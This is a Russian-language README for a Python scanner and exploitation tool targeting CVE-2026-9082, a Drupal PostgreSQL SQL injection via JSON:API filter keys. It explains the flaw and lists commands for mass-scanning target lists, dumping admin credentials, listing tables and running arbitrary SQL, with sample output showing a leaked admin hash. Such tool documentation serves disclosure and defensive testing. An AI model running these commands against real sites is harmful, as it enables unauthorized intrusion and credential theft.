Сканер: CVE-2026-9082 Drupal PostgreSQL SQLi через JSON:API — Python-сканер для неаутентифицированной SQLi, приводящей к RCE (CISA KEV)
Неаутентифицированная SQL-инъекция в ядре Drupal (PostgreSQL)
Инъекция ключа массива фильтра JSON:API через злоупотребление именами PDO-плейсхолдеров
CVE-2026-9082 — это чрезвычайно критическая уязвимость SQL-инъекции в ядре Drupal, затрагивающая все сайты на PostgreSQL под управлением Drupal с 8.0 по 11.3.9. Добавлена в каталог известных эксплуатируемых уязвимостей CISA (KEV) 22 мая 2026 года — активно эксплуатируется в дикой природе.
| Критичность | CVSS | Требуется аутентификация | Вектор атаки |
|---|---|---|---|
| Критическая | 9.8+ | Нет | HTTP (JSON:API) |
pg_exec() или COPY ... PROGRAM| Статус | Версии |
|---|---|
| ❌ Уязвимы | Drupal 8.0.0 → 11.3.9 (бэкенд PostgreSQL) |
| ✅ Исправлено | 11.3.10, 11.2.12, 10.6.9, 10.5.10 |
Уязвимость находится в core/modules/pgsql/src/EntityQuery/Condition.php. Метод translateCondition() использует контролируемые пользователем ключи массива из параметров фильтра JSON:API для создания имён PDO-плейсхолдеров. PDO распознаёт только [a-zA-Z0-9_] в качестве имён плейсхолдеров, поэтому любой суффикс после ) становится литеральным SQL, внедряемым в запрос.
JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection
pg_sleep()pip (менеджер пакетов Python)# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082
# Install requirements
pip install requests
Вот и всё! Всего одна зависимость — requests.
python3 cve_2026_9082_scanner.py -u https://target.com --check
python3 cve_2026_9082_scanner.py -f targets.txt
Формат targets.txt:
https://target1.com
target2.com
192.168.1.100
python3 cve_2026_9082_scanner.py -u https://target.com --version
python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo
python3 cve_2026_9082_scanner.py -u https://target.com --admin
python3 cve_2026_9082_scanner.py -u https://target.com --tables
python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"
python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt
python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080
# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10
# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60
| Флаг | Описание |
|---|---|
-u, --url | URL одиночной цели |
-f, --file | Файл со списком целей (по одной в строке) |
-o, --output | Сохранить результаты сканирования в файл |
--check | Проверить, уязвима ли цель |
--version | Извлечь версию PostgreSQL |
--dbinfo | Извлечь пользователя БД и имя БД |
--admin | Извлечь учётные данные администратора Drupal (uid=1) |
--tables | Вывести список всех таблиц БД |
--query | Пользовательский SQL-запрос для извлечения данных |
--threads | Количество потоков для массового сканирования (по умолчанию: 20) |
--timeout | Таймаут HTTP-запроса (по умолчанию: 30 с) |
--delay | Задержка pg_sleep для обнаружения (по умолчанию: 5 с) |
--no-ssl-verify | Пропустить проверку TLS-сертификата |
--proxy | HTTP-прокси (например, http://127.0.0.1:8080) |
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-9082 - Drupal PostgreSQL SQLi ║
║ Mass Scanner + Exploitation Tool v1.0.0 ║
╚══════════════════════════════════════════════════════════════╝
CISA KEV: Added 2026-05-22 | Advisory: SA-CORE-2026-004
[*] Checking: https://vulnerable-drupal-site.com
[!!] VULNERABLE - https://vulnerable-drupal-site.com
Method: time-based (+5.2s)
Resource: node/article
[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...
| Источник | Ссылка |
|---|---|
| Официальное уведомление Drupal | SA-CORE-2026-004 |
| CISA KEV | CVE-2026-9082 |
| Коммит с исправлением | ea9524d9 |
| Запись в NVD | CVE-2026-9082 |
| Обнаружил | Michael Maturi |
Этот инструмент предназначен только для авторизованного тестирования безопасности, образовательных целей и этичного исследования.
Несанкционированный доступ к компьютерным системам противозаконен. Авторы не несут ответственности и не отвечают за любое неправомерное использование или ущерб, причинённый данной программой.
Ridhin V A (@ridhinva) — баг-хантер и исследователь безопасности
Создано, потому что CISA KEV сообщил, что уязвимость эксплуатируется в дикой природе. Установите исправления на свои сайты Drupal.